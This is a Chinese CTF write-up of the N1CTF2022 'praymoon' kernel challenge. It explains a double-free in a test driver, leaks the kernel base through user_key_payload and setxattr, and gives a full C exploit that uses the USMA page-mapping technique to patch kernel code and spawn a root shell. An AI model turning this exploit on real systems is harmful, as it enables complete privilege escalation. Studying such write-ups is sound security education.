【USMA】N1CTF2022-praymoon

news2024/12/22 9:06:31

前言

本题主要利用 USMA 解题,当然还有其他做法,暂时不表

程序分析

启动脚本就不看了,该开的保护都开了。看下文件系统初始化脚本:

#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
echo 1 > /proc/sys/vm/unprivileged_userfaultfd

insmod /praymoon.ko
chmod 666 /dev/seven
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /tmp


poweroff -d 0  -f

可以看到,这里设置了  echo 1 > /proc/sys/vm/unprivileged_userfaultfd,这是因为该题目的内核版本为 5.18.10,而 userfaultfd 在 5.11 就限制了普通用户的使用,这也是给了我们一个做题的方向。

题目还给了配置文件:

CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_SHUFFLE_PAGE_ALLOCATOR=y

CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""

CONFIG_MEMCG=y
CONFIG_MEMCG_SWAP=y
CONFIG_MEMCG_KMEM=y

CONFIG_DEBUG_LIST=y

CONFIG_HARDENED_USERCOPY=y

而驱动程序很简单,跟 d3kheap 差不多,给了一次 double free 的机会(但是由于开启了 SLAB_FREELIST_HARDENED,所以不能直接 double free),只是这里的大小是 0x200,更难利用了:

漏洞利用

首先我们得先去泄漏内核的基地址,常用的泄漏信息的结构体有 ldt_struct、msg_msg、user_key_payload,这里 ldt_struct 大小不满足,而非常可惜的是 msg_msg 是采用 GFP_KERNEL_ACCOUNT,而题目采用的是 GFP_KERNEL,并且开启了 MEMCG,所以这里堆块就是隔离的,所以 msg_msg 也就无法直接利用了。最后我们就只剩下 user_key_payload,幸运的是其分配采用的就是 GFP_KERNEL。

泄漏内核基地址

首先,构造 UAF:

1、add 分配一个堆块

2、dele 释放该堆块

3、分配 user_key_payload 占据该堆块

4、dele 再次释放该堆块

然后我们可以利用 setxattr 去修改 user_key_payload 的 datalen 字段。然后越界读一些数据,该数据中可能存在一个可用地址,笔者将其作为一个字典进行碰撞。经过测试,有较大的概率可以泄漏内核地址。

经过测试:

freelist pointer 存在堆块偏移为 33*8 的位置

并且使用 kfree 释放堆块,不会清空堆块内容

 提权

关于提权,一般而言有两者朴素的想法:

1、寻找具有函数指针的结构体,通过劫持函数指针去劫持程序执行流

2、利用任意读写原语去修改 cred

这里我们想要找到 0x200 大小的带有函数指针的结构体可不容易,当然可以大家会想到 pipe_buffer,可以 pipe_buffer 也带有 GFP_KERNEL_ACCOUNT。

这里利用 usma 即用户态映射攻击,贴了360的原文,大家可以看下:USMA:用户态映射攻击

exp 如下:

注:脚本不是很稳定,即 setxattr 可能拿不到 UAF 堆块,主要是脚本写的比较烂,但是不想改了

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void line(char *msg)
{
    printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");
    exit(EXIT_SUCCESS);
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


void register_userfaultfd(void* moniter_addr, void* handler)
{
        int uffd;
        pthread_t thr;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd == -1) err_exit("Failed to exec the syscall for __NR_userfaultfd");

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("Failed to exec ioctl for UFFDIO_API");

        uffdio_register.range.start = (unsigned long long)moniter_addr;
        uffdio_register.range.len = 0x1000;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("Failed to exec ioctl for UFDDIO_REGISTER");

        if (pthread_create(&thr, NULL, handler, (void*)uffd)) err_exit("Failed to exec pthread_create for userfaultfd");
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

char uffd_copy_src[0x1000];
void* handler_30(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for leak_handler");

                int res = read(uffd, &msg, sizeof(msg));
                if (res == 0) err_exit("EOF on userfaultfd for leak_handler");
                if (res == -1) err_exit("ERROR on userfaultfd for leak_handler");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in leak_handler");

                info("==> userfaultfd to sleep(30) <==");
                sleep(30);

                uffdio_copy.src = uffd_copy_src;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
        }
        return NULL;
}

void* edit_func(void* args)
{
        setxattr("/exp", "hacker", args, 0x200, 0);
        return NULL;
}

int fd;
int key;
void add() { ioctl(fd, 0x5555, NULL); }
void dele() { ioctl(fd, 0x6666, NULL); }

size_t check(size_t kernel_addr)
{
        size_t kernel_addrs[] = {0xffffffff829da760, 0xffffffff81780ae0, 0xffffffff81780ad0, 0xffffffff8143e280, 0xffffffff829b9320};
        size_t kernel_offset = -1;
        switch ((kernel_addr&0xfff))
        {
                case 0x760:
                        kernel_offset = kernel_addr - kernel_addrs[0];
                        break;
                case 0xae0:
                        kernel_offset = kernel_addr - kernel_addrs[1];
                        break;
                case 0xad0:
                        kernel_offset = kernel_addr - kernel_addrs[2];
                        break;
                case 0x280:
                        kernel_offset = kernel_addr - kernel_addrs[3];
                        break;
                case 0x320:
                        kernel_offset = kernel_addr - kernel_addrs[4];
                        break;
                default:
                        kernel_offset = -1;
                        break;
        }
        return kernel_offset;
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void init_namespace(void) {
    int fd;
    char buff[0x100];

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
        puts("[X] unshare(CLONE_NEWUSER | CLONE_NEWNS)");
        exit(-1);
    }

    if (unshare(CLONE_NEWNET)) {
        puts("[X] unshare(CLONE_NEWNET)");
        exit(-1);
    }

    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", uid);
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", gid);
    write(fd, buff, strlen(buff));
    close(fd);
}

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) {
        puts("[X] setsockopt(PACKET_VERSION)");
        exit(-1);
    }

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) {
        puts("setsockopt(PACKET_RX_RING)");
        exit(-1);
    }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) {
        puts("socket(AF_PACKET)");
        exit(-1);
    }

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
                               sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) {
        puts("bind(AF_PACKET)");
        exit(-1);
    }

    return s;
}

int alloc_pgv(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int pipe_fd[2];

        pipe(pipe_fd);
        pid_t pid = fork();
        if (!pid)
        {
                init_namespace();
                size_t kernel_offset;
                char buf[0x2000];
                char des[0x100];
                size_t attr[0x200/8];
                void* uffd_buf;
                int packet_fd;
                size_t res;
                pthread_t edit_thr1, edit_thr2;

                fd = open("/dev/seven", O_RDWR);
                if (fd < 0) err_exit("open dev file");

                uffd_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
                register_userfaultfd((char*)uffd_buf+0x1000, handler_30);
                attr[0] = attr[1] = 0;
                attr[2] = 0x2000;
                memset(buf, 'B', 0x200);

                add();
                dele();
                key = key_alloc("hacker", buf, 0x100);
                if (key < 0) err_exit("key_alloc");

                dele();
                setxattr("/exp", "hacker", attr, 0x200, 0);

                res = key_read(key, buf, 0x2000);
                hexx("key_read bytes", res);

                kernel_offset = -1;
                for (int i = 0; i < 0x2000/8; i++)
                {
                        size_t tmp = *(size_t*)(buf + i*8);
                        if ((tmp > 0xffffffff00000000) && ((kernel_offset=check(tmp)) != -1) && ((kernel_offset&0xfff) == 0)) break;
                        else kernel_offset = -1;
                }
                if (kernel_offset == -1) err_exit("Leak kernel offset");
                hexx("kernel_offset", kernel_offset);

                line("USMA ATTACK");
                packet_fd = alloc_pgv(33, 0x1000);

                key_revoke(key);

                for (int i = 0; i < 0x150 / 8; i++)
                        *(size_t*)((char*)uffd_buf + 0x1000 - 0x150 + i*8) = 0xFFFFFFFF81086000 + kernel_offset;
                hexx("vm_insert_page addr", 0xFFFFFFFF81086000 + kernel_offset);
                pthread_create(&edit_thr1, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);
                sleep(1);
                pthread_create(&edit_thr2, NULL, edit_func, (char*)uffd_buf+0x1000-0x150);
                sleep(1);

                char* page = (char*)mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
                page[0xFFFFFFFF81086FD8 - 0xFFFFFFFF81086000] = 0xeb;

                info("CHILD END!");
                write(pipe_fd[1], "A", 1);
                pause();
        } else if (pid < 0) {

                err_exit("fork");

        } else {
                char buf[1];
                read(pipe_fd[0], buf, 1);
                setresuid(0, 0, 0);
                hexx("UID", getuid());
                get_root_shell();
                info("PRAENT END!");
        }

        return 0;
}

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1121252.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

codeforces (C++ Haunted House)

题目&#xff1a; 翻译&#xff1a; 思路&#xff1a; 1、由题目可知&#xff0c;他想让我们判断交换相邻字符位置后将二进制转为十进制后&#xff0c;能否整除2的次方。能整除即输出需要交换的次数&#xff0c;不能则输出-1。&#xff08;例&#xff1a;输入3和010这组数据就…

二分查找:如何快速定位IP对应的省份地址?

文章来源于极客时间前google工程师−王争专栏。 通过IP地址查找IP归属地功能&#xff1a; 这个功能是通过维护一个很大的IP地址库来实现。地址库中包含IP地址范围和归属地的对应关系。 当我们查询202.201.133.13这个IP地址归属地时&#xff0c;在地址库中搜索&#xff0c;这个…

真实感受:是智能家居在选择合适的技术!

科技从来都是为了让我们的生活更加的简单、舒适&#xff0c;而智能家居的智能&#xff0c;体现在如何更更更方便的使用我需要控制的家居。 例如&#xff1a;下班躺在床上想休息&#xff0c;房间和大厅的灯还开着&#xff0c;这时你会选择什么产品躺着解决问题&#xff1f; 红外…

【MySQL】逻辑架构

逻辑架构 逻辑架构剖析服务器处理客户端请求连接层服务层SQL Interface : SQL接口Parser : 解析器Optimizer : 查询优化器Caches&Buffers : 查询缓存组件 引擎层存储层 SQL执行流程MySQL查询流程查询缓存解析器词法分析语法分析 优化器执行器 数据库缓冲池 逻辑架构剖析 服…

云安全—责任共担

0x00 前言 云安全的职责范围实际上一直遵循的是&#xff0c;谁提供谁负责&#xff0c;如果交付给云消费者的时候&#xff0c;交付者使用过程中就要自行负责&#xff0c;也就是我们经常遇到的配置不当等问题&#xff0c;在三层服务模式中&#xff0c;责任互相嵌套&#xff0c;最…

软件测试(五)自动化 selenium

文章目录 自动化测试单元测试&#xff1a;单元测试&#xff1a;UI自动化 selenium工具定义特点&#xff1a;原理&#xff1a;seleniumjava环境搭建SeleniumAPI获取测试结果&#xff1a;添加等待浏览器操作键盘事件鼠标事件多层框架/窗口定位下拉框处理弹窗处理上传文件操作关闭…

10种常用基础模块电路,电子控制不再是难题!

你是否曾经为电子控制中的复杂电路而烦恼&#xff1f; 现在&#xff0c;我将向你展示10个最具实用性和普遍性的模块电路图&#xff0c;让你轻松掌握电子控制的核心技术&#xff01; 这些电路图不仅简单易懂&#xff0c;而且非常具有趣味性&#xff1a; 1、RS232通讯电路&…

Java面试——RPC协议

涉及到分布式方面知识的话&#xff0c;RPC协议是逃不开的&#xff0c;所以在此记录一下RPC协议。 什么是RPC协议 RPC协议&#xff08;Remote Procedure Call&#xff09;远程过程调用&#xff0c;简单的来说&#xff1a;RPC协议是一种通过网络从远程计算机程序获取服务的协议…

【unity小技巧】实现无限滚动视图和类似CSGO的开箱抽奖功能及Content Size Fitter组件的使用介绍

文章目录 一篇一句前言素材一、无限滚动视图1. 绘制视图2. Content Size Fitter是布局控件&#xff08;1&#xff09;在文本框中使用&#xff08;2&#xff09;控制Scroll View(Scroll Rect组件)控件下Content的大小 3. 控制视图无限滚动4. 向右拉无限滚动5. 修复滚动视图一卡一…

julia笔记:字符和字符串

1 字符 Char类型的值代表单个字符 ca #a: ASCII/Unicode U0061 (category Ll: Letter, lowercase)typeof(c) #Char 将 Char 转换为其对应的整数值&#xff0c;即 Unicode 代码 cInt(c) c #97typeof(c) #Int64 将一个整数值&#xff08;Unicaode&#xff09;转回 Char Cha…

杂谈:DC对Verilog和SystemVerilog语言的支持

DC对Verilog和SystemVerilog语言的支持 设计语言用哪种&#xff1f;Design Compiler对二者的支持简单的fsm电路测试测试结果对比写在最后 设计语言用哪种&#xff1f; 直接抛出结论&#xff1a;先有电路&#xff0c;后为描述。设计端而言&#xff0c;没有语言的高低好坏&#…

IMX6ULL板开发——第一个应用程序

实现第一个应用程序&#xff1a;在IMX6ULL开发板上运行程序hello.c #include <stdio.h>/* 执行命令: ./hello weidongshan* argc 2* argv[0] ./hello* argv[1] weidongshan*/int main(int argc, char **argv) {if (argc > 2)printf("Hello, %s!\n", arg…

ASRPRO语音识别模块

ASRPRO语音识别模块 SOFT IIC 与PCA9685模块通信 pca9685 iic通信 地址位 ADDR<<1|0 左移一位 #define I2C_WRITE 0 #define I2C_READ 1 否则通信地址错误 asrpro 通过UART与电脑连接&#xff0c;可以进行简单的交互 将STM32作为接口扩展&#xff0c;通过SPI或I…

【RNA folding】RNA折叠算法与生物物理约束

文章目录 RNA折叠RNA folding representation1 DP for simple folds1.1 Nussinov Algorithm objective1.2 energy constraints1.3 The key idea of the algorithm 2 DP for stacking and complex foldsStochastic context free grammars 来自Manolis Kellis教授&#xff08;MIT…

JavaSE入门---掌握抽象类和接口

文章目录 抽象类什么是抽象类&#xff1f;抽象类语法抽象类特性 接口什么是接口&#xff1f;接口语法接口使用接口特性实现多个接口接口间的继承 抽象类 VS 接口Java中的 Clonable 接口Java中的 Object 类 抽象类 什么是抽象类&#xff1f; 在面向对象的概念中&#xff0c;所…

Linux编译器-gcc/g++使用函数库

【Linux】系列文章目录 【Linux】基础常见指令&#xff1a;http://t.csdn.cn/hwLPb 【Linux】基本权限&#xff1a;http://t.csdn.cn/faFZg 【Linux】软件包管理器yum与环境开发工具vim&#xff1a;http://t.csdn.cn/LEqkm 目录 【Linux】系列文章目录 前言 一、gcc选项总…

【C语言】malloc()函数详解(动态内存开辟函数)

一.malloc()函数简介 我们先来看一下cplusplus.com - The C Resources Network网站上malloc()函数的基本信息&#xff1a; 1.函数功能 可以看到,malloc()函数的功能是:向内存申请一块连续可用的空间,并返回指向块开头的指针. 2.函数参数 该函数有1个参数,是: void* malloc (…

关于iterm2的美化

iterm2 美化 笔者公司最近给发了一个新 M1 mac pro&#xff0c;所以一些软件需要重新安装。其中比较麻烦就是iterm2的一个美化工程 &#xff0c; 由于每次安装的效果都不尽相同所以这次写一个博客来记录一下 安装的过程 。 全程高能开始&#xff1a; 使用brew 来安装 iterm2 …

26. 通过 cilium pwru了解网络包的来龙去脉

pwru是一种基于eBPF的工具,可跟踪Linux内核中的网络数据包,并具有先进的过滤功能。它允许对内核状态进行细粒度检查,以便通过调试网络连接问题来解决传统工具(如iptables TRACE或tcpdump)难以解决甚至无法解决的问题。在本文中,我将介绍pwru如何在不必事先了解所有内容的…

C++ 模板类编译前需要实例化

在复习list容器的模拟实现&#xff0c;遇到了模板未实例化导致代码报错的问题&#xff0c;list的模拟实现可以看下面这篇文章&#xff0c;这里就不多赘述了&#xff0c;直接切入正题。Clist模拟http://t.csdnimg.cn/N6BGh现在的情况是我们已经模拟实现了list类&#xff0c;想在…